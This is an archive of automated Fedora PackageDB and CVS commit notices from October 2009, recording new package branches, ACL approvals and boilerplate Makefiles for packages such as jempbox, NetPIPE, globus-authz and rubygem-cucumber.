kevin added a Fedora EPEL 4 branch for globus-mp
kevin has set commit to Approved for 107427 on globus-mp (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on globus-mp (Fedora EPEL 4)
kevin has set build to Approved for 107427 on globus-mp (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/globus-mp



From pkgdb at fedoraproject.org  Sat Oct 17 20:43:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:43:46 +0000
Subject: [pkgdb] globus-mp (Fedora EPEL, 4) updated by kevin
Message-ID: <20091017204346.46A7F10F8B5@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for globus-mp
kevin has set commit to Approved for 107427 on globus-mp (Fedora 12)
kevin has set checkout to Approved for 107427 on globus-mp (Fedora 12)
kevin has set build to Approved for 107427 on globus-mp (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/globus-mp



From kevin at fedoraproject.org  Sat Oct 17 20:44:00 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:44:00 +0000 (UTC)
Subject: rpms/globus-mp - New directory
Message-ID: <20091017204400.2C5E211C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-mp
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvseN7357/rpms/globus-mp

Log Message:
Directory /cvs/pkgs/rpms/globus-mp added to the repository




From kevin at fedoraproject.org  Sat Oct 17 20:44:00 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:44:00 +0000 (UTC)
Subject: rpms/globus-mp/devel - New directory
Message-ID: <20091017204400.57AD411C0269@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-mp/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvseN7357/rpms/globus-mp/devel

Log Message:
Directory /cvs/pkgs/rpms/globus-mp/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 17 20:44:09 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:44:09 +0000 (UTC)
Subject: rpms/globus-mp Makefile,NONE,1.1
Message-ID: <20091017204409.4478211C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-mp
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvseN7357/rpms/globus-mp

Added Files:
	Makefile 
Log Message:
Setup of module globus-mp


--- NEW FILE Makefile ---
# Top level Makefile for module globus-mp
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 17 20:44:09 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:44:09 +0000 (UTC)
Subject: rpms/globus-mp/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091017204409.DD7CF11C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-mp/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvseN7357/rpms/globus-mp/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module globus-mp


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: globus-mp
# $Id: Makefile,v 1.1 2009/10/17 20:44:09 kevin Exp $
NAME := globus-mp
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct 17 20:44:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:44:38 +0000
Subject: [pkgdb] jempbox summary updated by kevin
Message-ID: <20091017204438.E67CC10F882@bastion2.fedora.phx.redhat.com>

kevin set package jempbox summary to Java library for working with XMP metadata

To make changes to this package see:
  /pkgdb/packages/name/jempbox



From pkgdb at fedoraproject.org  Sat Oct 17 20:44:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:44:36 +0000
Subject: [pkgdb] jempbox was added for orion
Message-ID: <20091017204437.0618310F85F@bastion2.fedora.phx.redhat.com>

kevin has added Package jempbox with summary Java library for working with XMP metadata
kevin has approved Package jempbox
kevin has added a Fedora devel branch for jempbox with an owner of orion
kevin has approved jempbox in Fedora devel
kevin has approved Package jempbox
kevin has set commit to Approved for 107427 on jempbox (Fedora devel)
kevin has set checkout to Approved for 107427 on jempbox (Fedora devel)
kevin has set build to Approved for 107427 on jempbox (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/jempbox



From pkgdb at fedoraproject.org  Sat Oct 17 20:44:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:44:38 +0000
Subject: [pkgdb] jempbox (Fedora EPEL, 5) updated by kevin
Message-ID: <20091017204439.0863510F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for jempbox
kevin has set commit to Approved for 107427 on jempbox (Fedora 10)
kevin has set checkout to Approved for 107427 on jempbox (Fedora 10)
kevin has set build to Approved for 107427 on jempbox (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/jempbox



From pkgdb at fedoraproject.org  Sat Oct 17 20:44:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:44:38 +0000
Subject: [pkgdb] jempbox (Fedora EPEL, 5) updated by kevin
Message-ID: <20091017204439.02E9C10F8A8@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for jempbox
kevin has set commit to Approved for 107427 on jempbox (Fedora 11)
kevin has set checkout to Approved for 107427 on jempbox (Fedora 11)
kevin has set build to Approved for 107427 on jempbox (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/jempbox



From pkgdb at fedoraproject.org  Sat Oct 17 20:44:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:44:38 +0000
Subject: [pkgdb] jempbox (Fedora EPEL, 5) updated by kevin
Message-ID: <20091017204439.18BAE10F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for jempbox
kevin has set commit to Approved for 107427 on jempbox (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on jempbox (Fedora EPEL 5)
kevin has set build to Approved for 107427 on jempbox (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/jempbox



From pkgdb at fedoraproject.org  Sat Oct 17 20:44:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:44:38 +0000
Subject: [pkgdb] jempbox (Fedora EPEL, 5) updated by kevin
Message-ID: <20091017204439.1F0E510F8B3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for jempbox
kevin has set commit to Approved for 107427 on jempbox (Fedora 12)
kevin has set checkout to Approved for 107427 on jempbox (Fedora 12)
kevin has set build to Approved for 107427 on jempbox (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/jempbox



From kevin at fedoraproject.org  Sat Oct 17 20:44:47 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:44:47 +0000 (UTC)
Subject: rpms/jempbox - New directory
Message-ID: <20091017204447.171BC11C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/jempbox
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvscE8138/rpms/jempbox

Log Message:
Directory /cvs/pkgs/rpms/jempbox added to the repository




From kevin at fedoraproject.org  Sat Oct 17 20:44:47 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:44:47 +0000 (UTC)
Subject: rpms/jempbox/devel - New directory
Message-ID: <20091017204447.3CCA711C0269@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/jempbox/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvscE8138/rpms/jempbox/devel

Log Message:
Directory /cvs/pkgs/rpms/jempbox/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 17 20:44:55 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:44:55 +0000 (UTC)
Subject: rpms/jempbox Makefile,NONE,1.1
Message-ID: <20091017204455.F07B411C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/jempbox
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvscE8138/rpms/jempbox

Added Files:
	Makefile 
Log Message:
Setup of module jempbox


--- NEW FILE Makefile ---
# Top level Makefile for module jempbox
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 17 20:44:56 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:44:56 +0000 (UTC)
Subject: rpms/jempbox/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091017204456.71D7511C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/jempbox/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvscE8138/rpms/jempbox/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module jempbox


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: jempbox
# $Id: Makefile,v 1.1 2009/10/17 20:44:56 kevin Exp $
NAME := jempbox
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct 17 20:45:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:45:43 +0000
Subject: [pkgdb] NetPIPE was added for boodle
Message-ID: <20091017204543.7A41810F87F@bastion2.fedora.phx.redhat.com>

kevin has added Package NetPIPE with summary A protocol independent network performance tool
kevin has approved Package NetPIPE
kevin has added a Fedora devel branch for NetPIPE with an owner of boodle
kevin has approved NetPIPE in Fedora devel
kevin has approved Package NetPIPE
kevin has set commit to Approved for 107427 on NetPIPE (Fedora devel)
kevin has set checkout to Approved for 107427 on NetPIPE (Fedora devel)
kevin has set build to Approved for 107427 on NetPIPE (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/NetPIPE



From pkgdb at fedoraproject.org  Sat Oct 17 20:45:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:45:45 +0000
Subject: [pkgdb] NetPIPE summary updated by kevin
Message-ID: <20091017204545.EC6D210F889@bastion2.fedora.phx.redhat.com>

kevin set package NetPIPE summary to A protocol independent network performance tool

To make changes to this package see:
  /pkgdb/packages/name/NetPIPE



From pkgdb at fedoraproject.org  Sat Oct 17 20:45:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:45:45 +0000
Subject: [pkgdb] NetPIPE (Fedora EPEL, 5) updated by kevin
Message-ID: <20091017204546.02D7410F8A4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for NetPIPE
kevin has set commit to Approved for 107427 on NetPIPE (Fedora 10)
kevin has set checkout to Approved for 107427 on NetPIPE (Fedora 10)
kevin has set build to Approved for 107427 on NetPIPE (Fedora 10)
kevin approved watchbugzilla on NetPIPE (Fedora 10) for mdomsch
kevin approved watchcommits on NetPIPE (Fedora 10) for mdomsch

To make changes to this package see:
  /pkgdb/packages/name/NetPIPE



From pkgdb at fedoraproject.org  Sat Oct 17 20:45:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:45:45 +0000
Subject: [pkgdb] NetPIPE (Fedora EPEL, 5) updated by kevin
Message-ID: <20091017204546.131D610F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for NetPIPE
kevin has set commit to Approved for 107427 on NetPIPE (Fedora 11)
kevin has set checkout to Approved for 107427 on NetPIPE (Fedora 11)
kevin has set build to Approved for 107427 on NetPIPE (Fedora 11)
kevin approved watchbugzilla on NetPIPE (Fedora 11) for mdomsch
kevin approved watchcommits on NetPIPE (Fedora 11) for mdomsch

To make changes to this package see:
  /pkgdb/packages/name/NetPIPE



From pkgdb at fedoraproject.org  Sat Oct 17 20:45:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:45:45 +0000
Subject: [pkgdb] NetPIPE (Fedora EPEL, 5) updated by kevin
Message-ID: <20091017204546.2535A10F8AF@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on NetPIPE (Fedora devel) for mdomsch
kevin approved watchcommits on NetPIPE (Fedora devel) for mdomsch

To make changes to this package see:
  /pkgdb/packages/name/NetPIPE



From pkgdb at fedoraproject.org  Sat Oct 17 20:45:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:45:45 +0000
Subject: [pkgdb] NetPIPE (Fedora EPEL, 5) updated by kevin
Message-ID: <20091017204546.309A810F8B5@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for NetPIPE
kevin has set commit to Approved for 107427 on NetPIPE (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on NetPIPE (Fedora EPEL 5)
kevin has set build to Approved for 107427 on NetPIPE (Fedora EPEL 5)
kevin approved watchbugzilla on NetPIPE (Fedora EPEL 5) for mdomsch
kevin approved watchcommits on NetPIPE (Fedora EPEL 5) for mdomsch

To make changes to this package see:
  /pkgdb/packages/name/NetPIPE



From pkgdb at fedoraproject.org  Sat Oct 17 20:45:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:45:45 +0000
Subject: [pkgdb] NetPIPE (Fedora EPEL, 5) updated by kevin
Message-ID: <20091017204546.36DD010F8B7@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for NetPIPE
kevin has set commit to Approved for 107427 on NetPIPE (Fedora 12)
kevin has set checkout to Approved for 107427 on NetPIPE (Fedora 12)
kevin has set build to Approved for 107427 on NetPIPE (Fedora 12)
kevin approved watchbugzilla on NetPIPE (Fedora 12) for mdomsch
kevin approved watchcommits on NetPIPE (Fedora 12) for mdomsch

To make changes to this package see:
  /pkgdb/packages/name/NetPIPE



From kevin at fedoraproject.org  Sat Oct 17 20:45:54 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:45:54 +0000 (UTC)
Subject: rpms/NetPIPE - New directory
Message-ID: <20091017204554.1F07811C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/NetPIPE
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsno8991/rpms/NetPIPE

Log Message:
Directory /cvs/pkgs/rpms/NetPIPE added to the repository




From kevin at fedoraproject.org  Sat Oct 17 20:45:54 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:45:54 +0000 (UTC)
Subject: rpms/NetPIPE/devel - New directory
Message-ID: <20091017204554.3C7F311C0296@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/NetPIPE/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsno8991/rpms/NetPIPE/devel

Log Message:
Directory /cvs/pkgs/rpms/NetPIPE/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 17 20:46:01 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:46:01 +0000 (UTC)
Subject: rpms/NetPIPE Makefile,NONE,1.1
Message-ID: <20091017204601.4C77811C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/NetPIPE
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsno8991/rpms/NetPIPE

Added Files:
	Makefile 
Log Message:
Setup of module NetPIPE


--- NEW FILE Makefile ---
# Top level Makefile for module NetPIPE
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 17 20:46:01 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:46:01 +0000 (UTC)
Subject: rpms/NetPIPE/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091017204601.AC93111C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/NetPIPE/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsno8991/rpms/NetPIPE/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module NetPIPE


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: NetPIPE
# $Id: Makefile,v 1.1 2009/10/17 20:46:01 kevin Exp $
NAME := NetPIPE
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct 17 20:47:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:47:53 +0000
Subject: [pkgdb] globus-authz was added for ellert
Message-ID: <20091017204753.E9F2D10F85F@bastion2.fedora.phx.redhat.com>

kevin has added Package globus-authz with summary Globus Toolkit - Globus authz library
kevin has approved Package globus-authz
kevin has added a Fedora devel branch for globus-authz with an owner of ellert
kevin has approved globus-authz in Fedora devel
kevin has approved Package globus-authz
kevin has set commit to Approved for 107427 on globus-authz (Fedora devel)
kevin has set checkout to Approved for 107427 on globus-authz (Fedora devel)
kevin has set build to Approved for 107427 on globus-authz (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/globus-authz



From pkgdb at fedoraproject.org  Sat Oct 17 20:47:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:47:55 +0000
Subject: [pkgdb] globus-authz summary updated by kevin
Message-ID: <20091017204755.AFC4E10F8A3@bastion2.fedora.phx.redhat.com>

kevin set package globus-authz summary to Globus Toolkit - Globus authz library

To make changes to this package see:
  /pkgdb/packages/name/globus-authz



From pkgdb at fedoraproject.org  Sat Oct 17 20:47:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:47:55 +0000
Subject: [pkgdb] globus-authz (Fedora EPEL, 4) updated by kevin
Message-ID: <20091017204755.B74A610F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for globus-authz
kevin has set commit to Approved for 107427 on globus-authz (Fedora 11)
kevin has set checkout to Approved for 107427 on globus-authz (Fedora 11)
kevin has set build to Approved for 107427 on globus-authz (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/globus-authz



From pkgdb at fedoraproject.org  Sat Oct 17 20:47:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:47:55 +0000
Subject: [pkgdb] globus-authz (Fedora EPEL, 4) updated by kevin
Message-ID: <20091017204755.C868D10F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for globus-authz
kevin has set commit to Approved for 107427 on globus-authz (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on globus-authz (Fedora EPEL 4)
kevin has set build to Approved for 107427 on globus-authz (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/globus-authz



From pkgdb at fedoraproject.org  Sat Oct 17 20:47:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:47:55 +0000
Subject: [pkgdb] globus-authz (Fedora EPEL, 4) updated by kevin
Message-ID: <20091017204755.D213510F8B3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for globus-authz
kevin has set commit to Approved for 107427 on globus-authz (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on globus-authz (Fedora EPEL 5)
kevin has set build to Approved for 107427 on globus-authz (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/globus-authz



From pkgdb at fedoraproject.org  Sat Oct 17 20:47:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:47:55 +0000
Subject: [pkgdb] globus-authz (Fedora EPEL, 4) updated by kevin
Message-ID: <20091017204755.E0AFA10F8B5@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for globus-authz
kevin has set commit to Approved for 107427 on globus-authz (Fedora 12)
kevin has set checkout to Approved for 107427 on globus-authz (Fedora 12)
kevin has set build to Approved for 107427 on globus-authz (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/globus-authz



From kevin at fedoraproject.org  Sat Oct 17 20:48:10 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:48:10 +0000 (UTC)
Subject: rpms/globus-authz - New directory
Message-ID: <20091017204810.77A7011C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-authz
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsda9764/rpms/globus-authz

Log Message:
Directory /cvs/pkgs/rpms/globus-authz added to the repository




From kevin at fedoraproject.org  Sat Oct 17 20:48:10 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:48:10 +0000 (UTC)
Subject: rpms/globus-authz/devel - New directory
Message-ID: <20091017204810.BCB3811C0260@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-authz/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsda9764/rpms/globus-authz/devel

Log Message:
Directory /cvs/pkgs/rpms/globus-authz/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 17 20:48:29 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:48:29 +0000 (UTC)
Subject: rpms/globus-authz Makefile,NONE,1.1
Message-ID: <20091017204829.4F72411C0260@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-authz
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsda9764/rpms/globus-authz

Added Files:
	Makefile 
Log Message:
Setup of module globus-authz


--- NEW FILE Makefile ---
# Top level Makefile for module globus-authz
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 17 20:48:31 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:48:31 +0000 (UTC)
Subject: rpms/globus-authz/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091017204831.2776411C0260@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-authz/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsda9764/rpms/globus-authz/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module globus-authz


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: globus-authz
# $Id: Makefile,v 1.1 2009/10/17 20:48:29 kevin Exp $
NAME := globus-authz
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct 17 20:48:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:48:46 +0000
Subject: [pkgdb] rubygem-cucumber was added for lkundrak
Message-ID: <20091017204846.6BEFC10F889@bastion2.fedora.phx.redhat.com>

kevin has added Package rubygem-cucumber with summary Tool to execute plain-text documents as functional tests
kevin has approved Package rubygem-cucumber
kevin has added a Fedora devel branch for rubygem-cucumber with an owner of lkundrak
kevin has approved rubygem-cucumber in Fedora devel
kevin has approved Package rubygem-cucumber
kevin has set commit to Approved for 107427 on rubygem-cucumber (Fedora devel)
kevin has set checkout to Approved for 107427 on rubygem-cucumber (Fedora devel)
kevin has set build to Approved for 107427 on rubygem-cucumber (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cucumber



From pkgdb at fedoraproject.org  Sat Oct 17 20:48:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:48:49 +0000
Subject: [pkgdb] rubygem-cucumber summary updated by kevin
Message-ID: <20091017204850.03DEC10F8A9@bastion2.fedora.phx.redhat.com>

kevin set package rubygem-cucumber summary to Tool to execute plain-text documents as functional tests

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cucumber



From pkgdb at fedoraproject.org  Sat Oct 17 20:48:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:48:49 +0000
Subject: [pkgdb] rubygem-cucumber (Fedora EPEL, 5) updated by kevin
Message-ID: <20091017204850.1049C10F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for rubygem-cucumber
kevin has set commit to Approved for 107427 on rubygem-cucumber (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on rubygem-cucumber (Fedora EPEL 5)
kevin has set build to Approved for 107427 on rubygem-cucumber (Fedora EPEL 5)
kevin approved watchbugzilla on rubygem-cucumber (Fedora EPEL 5) for mkent
kevin approved watchcommits on rubygem-cucumber (Fedora EPEL 5) for mkent
kevin approved commit on rubygem-cucumber (Fedora EPEL 5) for mkent
kevin approved build on rubygem-cucumber (Fedora EPEL 5) for mkent
kevin approved approveacls on rubygem-cucumber (Fedora EPEL 5) for mkent

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cucumber



From pkgdb at fedoraproject.org  Sat Oct 17 20:48:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:48:49 +0000
